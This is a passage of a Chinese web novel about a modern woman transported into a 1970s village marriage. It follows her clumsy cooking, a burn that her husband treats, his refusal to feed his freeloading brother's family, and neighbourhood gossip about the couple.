又打了一盆水彻底洗了个脸,才感觉活了过来,眯着眼睛要去拿手巾,一起身正对上大门口大大小小背着背篓抱着草的五个孩子,一个一个都用难以形容的探究表情打量着她。 谢晚棠一想到自己刚才的惨状以及还没擦干仍在流水的脸和鬓角:“……” 不知道在这场小孩们单方面的冷战中,她算不算先败一局? 妈妈和姥姥都是美食高手,她从小跟在旁边耳濡目染,见过的吃过的名菜可多,她还准备像穿书前辈们那样,大杀四方玩转七零美食界呢! 没想到—— 竟然第一步就倒在了烧火上! 真是大意失荆州啊! 好在一大五小尴尬地面面相觑时,傅青山已经弄好了火,拿了手巾出来递给她,狼狈的谢晚棠非常感激地接过手巾擦干净脸上发梢的水。 看到傅青山,几个孩子终于回过神来,大刚带着二刚去割草来,兰兰带着小刚和妞妞去剜了野菜回来喂鸡。 几个孩子看到新买回来的小鸡小鸭都凑了过去,大刚把草放好后,把鸡鸭都放进了栏圈,几个小的开心地蹲在那儿拿着野菜喂小鸡小鸭。 可爱的小动物吸引了孩子们的注意力,刚才她尴尬的一页才被勉强揭过去。 傅青山开了北窗,南北穿堂风吹了这一阵子,屋里的浓烟也散得差不多了。 谢晚棠尴尬地摸摸鼻尖解释:“那个,在家的时候都是我娘做饭,我没烧过火……” 傅青山倒是没怀疑,只是进屋后跟她讲引火的时候灶膛里的柴火不能放满,得留出空间窜风。 傅青山这么一说,谢晚棠一下子反应过来了,初中物理里讲过呀:“原*来是我柴火堆太多了,里面没有空气了!空气里有氧气,氧气充足才能燃烧!” 弄明白问题所在,小小烧火,不在话下! 谢晚棠正开心,余光看到傅青山眉头蹙起,奇怪地看着她,一脸听不懂她在说什么的表情。 谢晚棠突然想起她现在的人设是70年代地主家没文化的闺女!她不该懂得比出去当过兵见过世面的傅青山还多! 糟糕!人设要崩! 实在是太简单的小知识直接就脱口而出了!怎么办怎么办! 谢晚棠小脑筋疯狂转,余光突然瞥到傅青山给她买的彩礼之一——收音机! 谢晚棠唇角弯起,努力笑得自然又自信,指了指里屋:“收音机里讲的。” 傅青山闻声回头看了一眼放在新桌子正中间的收音机:“哦。” 烧火这一页总算彻底揭过去,谢晚棠挽起袖子:“水开了,那你秃噜**!我削点土豆。” 傅青山点头,舀了开水到盆里端出去开始秃噜鸡毛,兰兰帮她浇着水冲洗干净后,傅青山掏出内脏收拾,最后又洗了一遍,端着盆回屋里。 一进去就看到谢晚棠笨拙地拿着菜刀在给土豆削皮,拳头大的土豆削完了还剩个鸡蛋大,而且那个架势,好几次傅青山看她都差一点要切到自己的手。 他鸡都收拾好了,谢晚棠盆里才削了4个小土豆。 在谢晚棠又一次差点切到自己手并且还嫌他挡了光影响她干活的时候,傅青山几不可闻地叹了口气:“我来吧。” 谢晚棠也没想到用刀削土豆这么难,听傅青山说要来,赶紧把位置让出来。 主要是工具不行吧!在家看妈妈削土豆都是用刮皮刀,可快了。 用菜刀削土豆技术要求有点高,她还是和面吧! 逢年过节吃饺子她可是见过妈妈和面很多次了,虽然她没和过面,每次都只是做妈妈的擀皮小能手,但是没吃过猪肉还没见过猪跑嘛,就是面加水揉起来就好啦!不难。 但是—— 谢晚棠也不知道为什么,为什么看着妈妈和姥姥干得麻溜又利索的活,到她这全部都拖泥带水! 她真实演绎了面多了加水、水多了加面、面多了再加水……的死循环QAQ 直到傅青山已经削好了一盆土豆,洗了并且切好了,她,哦不,是面才被解救出来。 谢晚棠无奈地洗完手回来,傅青山不知道怎么配的比例,反正面在人家手里已经成型了,他有力的大手正在面盆里揉着挤压掉表面剩余的气泡。 谢晚棠看着面前高大却不失麻利的男人,又想到妈妈和姥姥,还有原身的娘,顿时有一种全世界都行,就她不行的感觉! 傅青山手腕转动揉捏面团,黄橙橙的二合面面团表面越来越光滑。 谢晚棠在旁边看着看着叹了口气:“你好厉害啊!” 傅青山听出了身旁人的懊恼,手上顿了下,偏头看过来:“在部队的时候做过。” 谢晚棠有一点点被安慰到。 傅青山担心:“不过我没做过土豆炖鸡,你确定你会做吗?” 谢晚棠:“当然!” 傅青山:“……” 如果是下午刚回来那会儿,他肯定无条件相信谢晚棠,但……经历过生火、削土豆、和面,他就要打个问号了。 毕竟相比于这些前期准备来说,在他的认知里,炒的过程肯定是更难的。 但,谢晚棠非常肯定,她真的会,傅青山也不好说什么。 于是起锅下油,油开以后,谢晚棠游刃有余地扔了一点葱花大蒜进去提香,然后端过来傅青山剁好的鸡块,还没来得及往锅里倒,盆底的水先滴到油锅里,炸开的油瞬间噼里啪啦往外烹溅,谢晚棠撸起袖子露出的小臂内侧首当其冲! “啊——啊——啊——” 谢晚棠被烫得嗷嗷的,惨叫连连,傅青山下意识接过盆,把人拉到身后。 在院里喂小鸡小鸭的孩子们闻声也跑过来,就见后妈站在爹身后,一边痛苦地捂着自己的胳膊,一边激情指挥:“鸡肉都倒进去!先翻炒!对,多炒一会儿,然后放上盐、酱油……再炒一会儿入味,然后现在添上水!” 盖上锅盖以后,叮咣的厨房可算暂时消停下来,几个孩子看得一脸懵,接着就见爹领着后妈出去了,他们跟过去看,爹压上来井水给后妈冲右胳膊。 后妈右胳膊内侧通红一片,再想到刚回来时家里的冒烟场面,孩子们一下子明白过来,后妈这是做饭烫着了。 冲洗了十几遍后,谢晚棠感觉疼得好多了,回去看了看锅,水已经开了,又填了点柴火,端起土豆要往锅里倒,傅青山快她一步接过来:“我来吧。” 土豆下锅后又炖了一会儿,汤汁逐渐收少,香味就出来了,傅青山又把二合面撕成一块一块摁成饼子沿着汤汁的边缘贴在锅边。 等到饼子熟了开锅的时候,满满一大锅土豆炖鸡烀饼子飘出浓郁的香气,傅青山尝了尝咸淡,汤汁的香气在舌尖化开,绝对可以称得上是美味。 连下锅都会被烫到的人,居然真的知道做法。 傅青山疑惑地看了一眼谢晚棠,谢晚棠正抿唇盯着锅里的鸡肉,满眼渴望。 傅青山犹豫了下,筷子叨起一块肉放到她嘴边,她一下子就笑了,肉很烫,她嘟起嘴来吹吹,两个小梨涡也跟着动,等到吹得不那么烫了才咬住,嚼了嚼,水润的杏眼都享受得眯起来:“没错!就是这个味!” 傅青山:“你以前吃过?” 谢晚棠:“收音机里讲过。” 她现在可记住自己的人设了,贫穷又极度重男轻女的地主家庭出身,怎么能吃过这种好东西呢! 傅青山…… 收音机连味道都能讲? 几个小孩被香味馋得挤在当门盯着锅里的美味,一个个大眼睛铮亮,口水都要流出来了! 傅青山弄了半锅鸡出来放大盆里,剩下的盛不下先放锅里热乎着,谢晚棠帮着拿碗筷,让几个孩子去洗手吃饭。 绝顶美味在前,小孩们哪里还顾得上冷战,谢晚棠说完,他们如最听话的小兵,麻溜去打水洗手,上炕吃饭! 炖鸡的香味顺着北窗和南门的穿堂风,吹遍了大半个下沟村,馋得村里的小孩跟小狗鼻子似的上街来闻味儿。 傅老三一家也是闻着味来的,一进厨房门,就被高密度的浓郁香气馋的口水都要留下来了。 虽然灶膛里没再添柴火,但余火还温着锅里的鸡块土豆饼子,没有彻底盖严实的锅盖露出一条缝,老三媳妇伸手拿起锅盖一看,小半锅随处可见的鸡肉块,透着油光光的鲜艳色泽,连带着土豆都沾上了鸡熬下来的油,泛着诱人的金黄。 一家子对着一锅美食直咽口水,恨不得直接上手抓了吃了再说! 谢晚棠刚坐下,还没来得及盛,就听到当门有动静。 傅青山听力比她好,“谁?” “二哥,你们吃饭呢?” 下一秒,傅老三和媳妇就领着两个儿子大柱二柱进来了,一家四口站满了炕前,傅老三嘴上叫着二哥,眼却直勾勾地盯着炕桌上的土豆炖鸡。 嘴上说着明知故问的话,用意就像秃子头上的虱子。 炕上五个孩子原本眼睛都亮起来,摩拳擦掌就等着开饭,一看到三叔三婶和大柱二柱进来,立马皱眉,一脸的警惕。 大的就不用说了,谢晚棠看到最小的妞妞眉心都快揪出一朵小花了。 一般情况下,客人这么问,主人都会客气一句:“吃了吗,一起吃点吧。” 今天分家的时候,谢晚棠就看出来了傅老三和他媳妇贪心爱赚便宜的品行,她相信只要傅青山客气一句,这一家四口马上就能一屁股坐下,开始风卷蚕食。 人家进来眼里就只有二哥,谢晚棠自然不说话,先看傅青山的反应。 毕竟是闪婚,她对傅青山也没那么了解,面对亲弟弟来蹭吃蹭喝,傅青山会是个什么态度,她不知道。 这个年代的男人,可能大部分都有兄弟是手足,老婆是衣服的思想? 傅青山看了一眼老三,面上看不出什么情绪,声音还是不冷不淡:“嗯。” 大佬果然不是一般情况。 傅老三没等到二哥的客气,又笑道:“二哥,你们这吃得真好啊!” 傅青山还是一声“嗯”,稳稳坐在炕沿边,没有一丝抬屁股邀请弟弟的意思,急得傅老三都快要跺脚了。 谢晚棠唇角微微勾起,二哥不按套路出牌啊。 老三媳妇扯扯他衣角,朝他使眼色,傅老三直接厚着脸皮道:“嘿嘿,二哥,我们这还没做饭呢。” 傅老三说完,谢晚棠明显感觉炕上的几个孩子更紧张了,二刚一副随时要护住鸡肉的架势! 傅青山“哦”了声,看了眼窗外,夕阳还没彻底落下,透进来光亮,屋里都还不用点蜡。 “现在做还来得及。” 老三一家……?? 谢晚棠心里已经笑喷了,给傅青山默默又竖了个大拇指。 哥,你的不懂人情世故有时候是真爽啊! 傅青山像是没看到弟弟一家的诧异神色,语气平常地下达逐客令:“你嫂子和侄子们中午都没吃饭,没别的事,我就不送你了。” 傅青山说完,便不再看老三一家,从谢晚棠那边拿过碗和勺,给谢晚棠和孩子挨个盛菜和饼子。 若是大哥,傅老三还敢耍赖,但二哥向来不苟言笑,他根本不敢在二哥面前弄些无理取闹的样,稀里糊涂地就被赶了出去。 送走贪心想赚便宜的一家子,还不到1分钟,估计一家子也就刚回南屋,就传来了老三媳妇打骂老三的声音,虽说是骂老三,但听着也是在骂傅青山。 “你还说你二哥疼你,有好吃的肯定不会忘了你,你可真能给自己脸上贴金啊,你在你二哥心里算个屁!你把他当二哥,他把你当弟弟了吗?!人家心里只有老婆孩子,你们这些爹娘兄弟的算个屁!” “我嫁到你们老傅家真是倒了八辈子霉!一大家子没分家的时候捞不着吃好的,分了家了人家吃好的我看着,你这个没用的东西,也不知道给老婆孩子撑腰!” …… 一直到孩子们一碗吃完,开始加第二碗的时候,那边打骂的动静还没停下。 谢晚棠不时抬头打量傅青山,傅青山跟往常一样面无表情,看不出什么情绪,好像根本听不出老三媳妇的指桑骂槐一样。 跟那边的闹腾不同,没有被瓜分美食的孩子们终于放松下来,这么些年,早就习惯了三叔三婶打打闹闹,即使隔壁骂声不断,也不影响他们享受分家后第一餐美食。 倒不是他们有食不言寝不语的好习惯,这么美味的好饭,一个个都憋着一肚子话想发表,但是鉴于和后妈的冷战局势,他们只能憋在心里,好像只要先说了话,就是低了头,就输了! 谢晚棠听着那边传来傅大嫂去劝架的声音,结果越劝,那两口子吵闹得越厉害。 而“罪魁祸首”傅青山却好像听力倒退了,一点也不耳聪目明了,吃着自己的饭,对那边的动静无动于衷。 谢晚棠非常好奇地打量傅青山,傅青山真是太出乎她的意料了,他脑子里怎么想的,好像永远不会让别人摸清。 傅青山原本低头端着碗吃饭,可能是她的视线盯得太直白,傅青山突然抬头,两人视线猝不及防地撞上,傅青山漆黑的眸光犀利,仿佛要将她看穿。 谢晚棠偷看被抓包,瞬间尴尬得脚趾抠炕。 “那个,我不是偷看你……” 话落,埋头吃饭的孩子们齐刷刷抬头看向她。 “……” 谢晚棠尴尬地咳嗽一声,坦诚地说出心里疑惑:“我就是挺好奇,你怎么能那么干脆得把你弟弟弟媳一家赶走,你心里真的就没一丁点的过不去?” 孩子们闻声也看向傅青山,说实话,他们刚才也可担心爹把三叔一家留下呢! 三婶向来偏心,没分家的时候二合面饼子都给大柱二柱,给他们就吃瓜干,现在他们有了好吃的,自然也不愿意跟三叔三婶他们一家共享。 人与人之间的来往就是这样,有来才有往,三婶一家没有“来”,所以他们不想“往”。 说他们小气也好,吝啬也罢,反正他们就是不想! 傅青山闻言疑惑地看着她,那眼神像是在表达不理解这有什么过不去的:“分了家不就是要各过各的?他现在是有老婆孩子的人,既然分了家,就要沉下心来干活养家好好过日子,小时候那些赚小便宜的心思要断了,不然大柱二柱跟着也学不好。” 谢晚棠发现傅青山虽然平日里话不多,但其实什么事都看得清清楚楚。他心里不仅没有丝毫地过意不去,而且还坚定地认为,这是他弟弟独立的开始。 独立养家糊口,独立处理家庭琐事,真真正正跟大家庭断奶。 谢晚棠想起之前在网上看到一个事业家庭都很成功的阿姨给年轻女孩分享的择偶观:女孩子找对象,只筛选不改变。 一个三观端正的男人不需要你去调教改变,他会有自己正确地分析问题处理问题的能力。 大佬果然是大佬,优秀与生俱来啊! 谢晚棠非常肯定地对傅青山竖起大拇指由衷的钦佩:“哥,牛逼!” 傅青山闻声微微皱眉,看着她的表情变了变,好像要说什么,最终还是没说,低头吃饭。 孩子们肚子里都没什么油水,也能享得动,大刚吃了4碗,兰兰和二刚吃了3碗,小刚和妞妞还小,和谢晚棠吃得差不多,两碗下去就撑得不行了。 二刚吃饱了摸摸自己圆滚滚的小肚肚,还是忍不住舒服得叹了口气:“要是每顿都吃这么好,那该有多好啊!” 兰兰下意识看向谢晚棠,见谢晚棠只是面带笑意地看着二刚,并没有什么异样嫌恶的神色,才放下心来戳着二刚的脑门:“做梦吧你,还能天天跟过年似的?” 小刚摇摇头:“过年也捞不着敞开肚子吃肉啊!” …… 人吃饱了就爱犯懒迷糊,谢晚棠左手手肘靠在饭桌上,单手托腮,听着孩子们聊他们期待却又不敢想的生活。 谢晚棠知道,他们期待的在不久的将来都会实现,新中国度过艰难贫苦的70年代后,即将迎来改革开放,时代飞速发展,生产力极大提升,生活日新月异。 以后的日子真的天天跟过年一样,顿顿都能吃肉,以致于大家甚至都觉得对过年没有多大期待了,因为过年吃的跟平时也没什么不同。 只不过,谢晚棠现在还不能告诉他们,毕竟,收音机也不会预测未来。 吃完饭天黑了,屋里点起了蜡,忽闪忽闪的火苗照得不大的屋里暖呼呼的。 傅青山盘腿坐在炕上,肩背挺直。 孩子们吃饱喝足在叽叽喳喳地聊天,谢晚棠坐在他对面,慵懒地托着腮微微侧过脸,着看孩子们玩闹,嘴角勾起浅浅的弧度,托腮的左手竖起,宽松的藏青色袖子自然垂落到手肘,露出比鸡蛋清还要白的小臂,纤细修长。 大锅烧火做饭,烧得炕有点热,傅青山体会到了老一辈人说的老婆孩子热炕头,27年的生命里,他第一次真真正正地感觉到了什么是家。 小孩们虽然互相之间聊得火热,但还是不跟谢晚棠说话,不过玩闹完倒是很自觉地下去帮着收拾桌子,压水洗碗洗筷子。 谢晚棠把锅里剩的土豆鸡盛到盆里,放到高处,又盖上一个盆压住。 这是她跟着薛桂花学的,这个年代老鼠多,人饿老鼠也饿,不得不防。 谢晚棠抬手往高处放盆的时候,土布袖子材质有些粗,蹭着右边小臂,一阵阵刺痛。 傅青山已经在刷锅了,谢晚棠强忍着不适放好盆回了炕间,撸起袖子一看,傍晚做饭那会儿小臂内侧被油溅红了的地方,居然起水泡了!!! 大大小小的红色水铃铛错落排着,看上去密密麻麻一片,谢晚棠只看一眼就头皮发麻,啊啊啊谁能救救她简直要密集恐惧症了!!! “怎么这么严重?” 谢晚棠急得直跺脚,身后传来傅青山清冷低沉的声音。 傅青山走到她身前,眉头紧紧地,拉着她的手腕凑近烛光,仔细查看。 谢晚棠自己反正是不敢看了,视线避开骇人的伤口,落在傅青山头后短硬的发茬上,像他这个人一样硬。 “我也不知道啊,刚才衣服蹭着感觉难受,一看就这样了,怎么办啊!” 谢晚棠紧张得不自觉声音都拔高了,外边几个孩子洗完碗听到声音,不知道什么事,进来看。 大刚和兰兰先看到谢晚棠手上烫的水泡,眉头几乎同步皱了起来。 谢晚棠皮肤细嫩白皙,通红的水泡看起来格外刺眼。 小刚和妞妞还小,垫着脚也看不见,二刚挤进来一看,倒吸一口凉气:“这么多!这得挑到啥时候?” 谢晚棠一听脸色都变了:“还得挑?!” 二刚一脸过来人很有经验地样子郑重点头:“我去年烫了腚就是挑破的,是吧爹。” 傅青山全部查看完直起身:“嗯,这几个太大的得挑破把水放出来,小的可以不用。” 谢晚棠强忍着密集恐惧症又扫了一眼可怖的小臂,大的最少也有六七个啊!简直要昏过去!! 谢晚棠一脸担忧:“挑的时候会疼吗?” 傅青山垂眸看她:“有点。” 谢晚棠欲哭无泪,傅青山的“有点”肯定就是很疼,昨晚搓伤的时候他也说“会有点疼”,结果就是很疼很疼! 她最怕疼了,而且咬不住牙QAQ 谢晚棠看看围一圈暂时忘记冷战的孩子,又朝傅青山使了个眼色,没想到傅青山竟然秒懂她的意思,对兰兰道:“都在这挡着光看不清,你先带弟弟妹妹出去玩吧。” 兰兰带着妞妞和三个刚出去以后,傅青山洗过手,从谢晚棠带来的陪嫁箱的针线筐里找了根针和一块干净的纯棉白布,就着蜡烛的火苗烧一烧消毒。 谢晚棠从小娇生惯养,被纸割破手就是受过的最大的伤了,哪里遭过这样的罪,看着那火苗中央又细又尖的针,心跳扑腾扑腾地加速,像是要经历被容嬷嬷针刺酷刑前一般紧张! 捏着针的男人也是一脸的无情,犹如70年代民间医学界容嬷嬷…… 看着傅青山大手拿着针离开火苗的那一刻,谢晚棠简直紧张到爆炸!!! 下一秒,傅青山看她一眼,她紧张地咽了口唾沫,傅青山左手握住她手腕,低头的同时,针尖准确刺向最大的那个水泡的边缘。 “啊————” 针刺破皮肤的那一刻,说不上特别疼,但是也不舒服,说不出是个什么滋味,主要是心理防线彻底崩溃了,谢晚棠吓得偏头抵在顾青山的肩头,没忍住喊了出来。 幸好提前让孩子们出去了,要不然可太丢人了! 针拔出来的时候没有多疼,但往外挤水泡里的水就很折磨人了,谢晚棠只看了一眼就不敢看了,紧紧闭上眼睛,额头抵在傅青山肩头,随着小臂上传来忽轻忽重的痛感,忍不住忽高忽低地痛呼呻。吟…… 傅青山垂眸认真,脊背手臂绷得紧紧的,才能勉强稳住手上的动作。 掌心里纤细的手腕盈盈一握,柔若无骨,随着疼痛轻轻颤抖,皮肤来回轻轻摩擦着,蹭得他掌心的温度不可自控地升高。 她害怕不敢看,头抵在他的膀子上,隔着一层薄薄的衬衣料子,额头的温度轻易地传进来,比他的膀子要热一些。 难受的时候她还会偏头用脸去蹭,脸上有肉,触感和额头的骨面完全不同,肉肉软软地蹭在他肩膀坚硬的肉上,好似羽毛轻轻掠过,带起一阵酥痒,伴着那娇嗔的从唇齿间泄出的哼唧,如水中一圈一圈连绵不断的波纹,一下一下不轻不重地撞着他的心尖。 撞不到实处,却又不断撩拨着,一点一点搅乱他的心跳。 40-50 第21章 怎么哭了? 傅青山指尖下意识攥紧,半晌没动,努力试图平复杂乱的心绪。 谢晚棠闭着眼睛靠在他胳膊上也不敢偏头看:“好了吗?” 她说话时吐出的热气争先恐后地钻过布料的缝隙进去,给他那一小片皮肤带来一阵燥热。 傅青山强迫自己集中精神,大拇指和食指使劲攥了攥才恢复知觉,他嗯了声,加快手上的动作,挤完最后一个大水泡:“好了。” 谢晚棠长舒一口气,从他身上起来,手臂垂在身体两侧,仍然不敢看被烫伤的地方。 傅青山也轻轻呼出一口气,刚刚因为谢晚棠的靠近而紧绷的肌肉慢慢放松下来。 谢晚棠的衣袖宽松,刚才处理伤口的时候一撸袖子就到了手肘处,现在一垂手放下,袖子又自然垂落下来盖住手臂。 傅青山提醒:“把袖子挽上去晾一晾,今晚别碰到伤口。” 刚说完,谢晚棠就把手伸了过来,抬手时袖子又移上去一点,露出一小节细白的手腕,像是打磨光滑的上等玉石,天然地吸引着人的视线落在那里,无法移开。 傅青山怔了片刻,才回过神来,谢晚棠闭着眼睛偏过头去不敢看,傅青山抬手把袖口一节一节挽上去,指尖不可避免地碰触到衣袖下丝绸般顺滑的皮肤,因为烫伤,皮肤的温度比别处都要高,烫得他的指尖又麻又痒。 挽好袖子,傅青山轻咳一声:“明天就别去下地了,晌午把剩的土豆鸡块饼子热热你们吃了,晚上我早点下班,等我回来再做饭。” 被油烫到的悲惨经历让谢晚棠一时间对做饭这件事心有余悸,没有逞强,点头应了,毕竟这么大的创面,这个年代也没什么消毒水,她也怕大热天的感染了,那就麻烦大了。 午饭晚饭都有着落了,谢晚棠想了想家里的材料:“那明早熬苞米面粥,再一人煮一个鸡蛋,怎么样?” 傅青山闻声犹豫了下,在这个一家人一天一共就吃一个鸡蛋的年代,谢晚棠的提议确实让人意料之外。 谢晚棠看傅青山神色犹豫,赶紧解释道:“虽然粗粮蔬菜很健康,但孩子们都在长身体的年纪,蛋白质摄入量太低了不行,每人至少要保证每天一个鸡蛋。” 她解释完,傅青山看她的眼神更奇怪了。 谢晚棠反应过来自己一番不合时宜的营养学科普,抿唇指了指傅青山身后:“收音机里讲的。” 傅青山犹豫不是因为抠门不舍得,只是乍一听有些惊讶罢了,谢晚棠讲的那些从收音机里听来的蛋白质什么的,他听得似懂非懂,但吃鸡蛋好他肯定是知道的。 昨晚一家人围在炕上吃饭玩闹的场面还萦绕在他心头,他非常清楚挣钱的意义。 虽然要攒钱盖房子,但也不至于从几个鸡蛋里省出来。 他点头:“听你的。” 明天的一日三餐都安排好了,两人今天又是骑车,又是赶集,又是搬东西,跑了一天一身的汗,傅青山给她烧了一锅热水,又拎进来一桶井水,让她掺着用。 谢晚棠右手臂的伤不能碰水,她只能暂时左手弄湿了手巾擦一擦身上黏糊糊的汗。 傅青山就直接脱了衬衣,光着膀子,在院子弯腰用微凉的井水冲背洗头。 玉秀家的母狗生了窝小狗,几个孩子看到要睡觉了才回来。 昨天就他和傅青山俩人睡一个大炕,宽敞得十字交叉睡都不会碰到,谢晚棠还没什么感觉。 今天一下子加了5个孩子,突然就像晒干鱼一样,把看着宽敞的炕挤得满满当当。 她手臂上的伤怕碰,小孩子睡觉不老实,谢晚棠只得和傅青山换了个位置,睡在最里边靠墙的地方,傅青山隔在她和孩子们中间。 左边是墙,右边是傅青山,两人近到平躺着都会碰到彼此的胳膊,平日舒适的距离一下被打破,傅青山的呼吸声和身上刚洗过澡的肥皂味都很清晰,一点一点钻入她的耳膜和鼻腔,强势地不容置疑地入侵她的领地。 昨晚隔着一米多的距离,她根本没有同床共枕的感觉。 今天谢晚棠才后知后觉,她真的跟一个男人身体挨着身体,睡在了一个炕上。 哪怕明知不是真的夫妻关系,也有一种说不出的感觉。 可能是伤口愈合过程不舒服,也可能是身边有人不习惯,直到后半夜谢晚棠才勉强迷迷糊糊睡着。 …… 一觉醒来,晨曦透过窗棂洒落在炕席上,炕上的小干鱼们都没了。 谢晚棠还有点迷糊,不小心看到手臂上的伤,虽然看起来还挺吓人,不过感觉过了一晚上不怎么疼了。 打着哈欠下炕穿鞋,一推开炕间的门,苞米面慢熬出来的香气扑面而来。 傅青山正站在锅边用铲子搅动大锅里已经半黏糊的苞米面粥,闻声看过来。 谢晚棠有一种在家里一起床就看到妈妈在厨房做饭的幸福感,扬起唇角朝傅青山笑道:“早啊。” 傅青山怔了下,声音依旧冷硬:“早。” 谢晚棠伸了个懒腰走到家门口,兰兰正在压井边给妞妞压水洗脸,大刚在锄那一小片闲置的空菜地,二刚和小刚在喂小鸡小鸭。 非常温馨的农家画面。 谢晚棠洗漱完,一大五小已经在炕上坐好,每人一碗金黄的玉米面粥,一个鸡蛋,都眼巴巴地盯着。 等她上炕坐下,对面的傅青山才道:“吃吧。” 话落,炕上的孩子们就像得到训导员开餐指令的小警犬似的,咣咣开始干饭,热闹的场面让人看了都特别有食欲。 谢晚棠笑了下,端起自己的碗开始喝粥,纯农家天然玉米晒干后磨成面,无任何添加剂科技狠活,土灶大锅小火熬出了玉米面纯粹的香气…… 70年代也有70年代的美味。 吃完饭傅青山就去上班了,大刚把饭桌搬下去,兰兰把碗刷了,两人一起去上工,二刚愁眉苦脸地跟在后边去上学。 小刚和妞妞还没到入学的年纪,在家玩小鸡小鸭。 虽然几个孩子还是不跟她说话,但眼神里已经没有一开始那种强烈的敌意了,大家正在互相了解认识的过程中,对她这个后妈抱着存疑的态度。 日久见人心,谢晚棠并不着急。 小刚和妞妞一边玩小鸡小鸭,一边记挂着玉秀姑姑家的小狗,两个人时不时回头看看在当门里归置东西的后妈。 半晌,小刚磨蹭过去,站在家门口,看着后妈忙碌的背影,小声问:“我们可以去玉秀姑姑家看小狗吗?” 谢晚棠正把面袋子放进昨天新买的缸里,被身后突然的声响吓一跳,回头一看,是小刚扒在家门口,警惕又紧张地看着她。 没有称呼,但是是家里第一个主动跟她说话的小孩。 谢晚棠笑着点头:“去吧。” 这个年代家里都穷得叮当响,农村没有偷孩子的,家家户户都靠腿走路,街上也没有什么车,所以村里的孩子都自己上街玩,家长们并不担心,不像21世纪带孩子出门,一刻都不敢松手。 两个小孩得了允许,拉着手刚跑到大门口,谢晚棠突然想起来:“哎!等等!” 被叫住的小孩警惕地回头看她,生怕她下一句就是不让他们去了的惊慌小表情。 谢晚棠都看在眼里,笑道:“看看你玉秀姑姑在不在家,要是在家跟她说说,让她抽空捎着布料过来吧。” 小刚闻声点头,看起来像是听明白了的样。 谢晚棠看两个小孩拘谨的样子,摆摆手:“去玩吧。” 两个小家伙一溜烟就跑了,谢晚棠过去关大门的时候,胡同里早就看不到兄妹俩的影子了。 老三家媳妇刚好要去上工,路过她门口,两人视线对上,老三媳妇冷哼一声,对她一脸的仇视,一看就是为着昨晚没蹭吃成功记恨上了她。 贪心想占便宜还有脸了? 谢晚棠啪的一声关上大门,将小人丑陋的嘴脸关在门外,休想影响她的心情。 谢晚棠把樟木箱里的布料衣裳鞋都归置到新买的衣柜里,又去分家分的自留地里看了一圈,分给他们的那一小块自留地里只种了点白菜,谢晚棠摘了一颗回来,路上寻摸着怎么弄点花样蔬菜来,光吃白菜营养肯定不行,而且顿顿白菜也会吃够的。 玉秀是半头晌才过来的,她去下地了,小刚和妞妞去的时候她不在家,两个小孩又去地里找的她。 她一听侄子侄女们说嫂子让她带布料来,哪里还有心思干活,麻溜干完手上那点,就回家拿上布料来了。 之前因为哥哥嫂子忙着结婚,她懂事不来打扰,心里早就被新衣裳馋得不行了! 玉秀推门进来:“嫂子?” 谢晚棠闻声出来,站在家门口,抬手挡了下耀眼的太阳,朝她招手:“玉秀,快进来。” 玉秀关上门进来,她还带了一篮子菜:“我娘让我拿给你,你们刚分家,她怕你们菜不够。” 篮子里有刚摘的西红柿、黄瓜、丝瓜和南瓜,色泽鲜艳诱人,把儿都还新鲜得冒水,绝对的纯天然绿色蔬菜。 谢晚棠笑着接过来,“谢谢大娘!正需要呢!” 谢晚棠把菜拾出来,把空篮子放当门一会儿让玉秀带回去。 谢晚棠出去洗了手,回来给玉秀量尺,然后把布料铺在炕上裁。 玉秀坐在炕沿边上看了一会儿,嫂子看起来跟结婚前没什么不同,还是那么水灵好看。 想起外边的谣言,玉秀微微皱眉:“嫂子,俺青山哥对你好吗?” 谢晚棠正在心里默算数,闻声随口道:“好啊。” 除去他们之间的合约关系不提,傅青山这两天的表现,还算是挺好的吧。 玉秀看谢晚棠神色轻松自然,不像是有苦难言的样子,这才放下心来,凑近一点小声道:“嫂子,你以后晚上跟青山哥小点声。” 玉秀毕竟是没出嫁的大姑娘,说着说着脸就红了。 谢晚棠刚才在算袖窝弧度,没认*真听,裁好后才抬头:“什么小点声?” 玉秀又急又臊:“就是,就是晚上你们……哎呀!你懂的嫂子!” 谢晚棠…… 晚上?她懂的? 玉秀指指后窗,压低声音:“你们后屋住这个多嘴多舌的小寡妇,在外边到处传俺青山哥不行,每天晚上都虐待你!” 谢晚棠……???? 谢晚棠愣了好一会儿,才反应过来,小寡妇说的性。虐待,是她搓伤和挑水泡时的叫痛声? 看谢晚棠愣神,玉秀眉头又皱起来,一脸担忧:“俺青山哥真的虐待你?” 谢晚棠:“……” 谢晚棠抬手捋了一下右边鬓角掉下来的一缕头发,刚要开口解释,玉秀“啊”的一声,探过身子抓过她抬起的右手小臂,一翻过来,挑破的皮混着细小密集的小水泡,看起来触目惊心。 玉秀惊得差点喊出来,看了一眼后窗,又压低声音,一脸惊恐:“这是青山哥给你烫的?!” 虽然是问句,但那表情,那语气,俨然已经确认了。 谢晚棠:“……” 你别说,配上谣言,还真像。 谢晚棠无奈笑笑:“你看你哥像那样的人?” 玉秀皱眉:“看着是不像,不过都说知人知面不知心,青山哥难道真因为那……不行就变态了?跟那些清宫太监似的。” 外边一开始这么传她还生气,还替青山哥怼回去,可现在亲眼见着嫂子的伤,她彻底凌乱了。 变态?清宫太监? 这话不像是玉秀这样的大姑娘能说出来的,谢晚棠一听就知道是外边瞎传的,被玉秀听到了。 傅青山虽然性子冷,但毕竟是党和部队教育出来的男人,骨子里那绝对是一身正气,那些人居然会把他跟变态太监联系到一起…… 想象力也太丰富了吧! 傅青山风评被害太甚,谢晚棠都看不过去,为他辟谣:“怎么可能,是我自己做饭不小心烫的,你侄子侄女们都看着呢。” 玉秀一听嫂子这么说,长舒一口气:“我就说嘛!怎么可能?!” 谢晚棠很肯定地告诉玉秀:“你哥没有虐待我,他对我……还挺好的。” 虽然想为傅青山正名,但说得也是实话,傅青山对她确实是挺好的,无论是生活琐事上,还是家庭矛盾上,他都处理得很好。 至于几个孩子跟她冷战,那不是傅青山的错,孩子长大了有自己的思想,而且谢晚棠也不希望傅青山强行压制几个孩子认可她,强扭的瓜不甜,没意义。 玉秀彻底放下心来,气得骂那些长舌妇,骂了一会儿,又压低声嘱咐:“不过你们以后还是小声点。” 谢晚棠:“……好的。” 她实在没法跟玉秀解释那两晚的叫喊是因为伤疼,而不是房事,毕竟如果新婚夫妻不行房事的话,好像又证实了傅青山不行的事实。 不行归不行,但至少一直以来都是坊间传闻,如果她解释了,就像是给这个事盖棺定论了一样。 玉秀哼了声:“我看这些人就是嫉妒你嫁给我哥过好日子,天天盯着你,恨不得你越惨她们才越开心呢!” 没想到玉秀看得还听明白,谢晚棠不屑地笑笑:“所以啊,我更得过得好,气死那些人。” 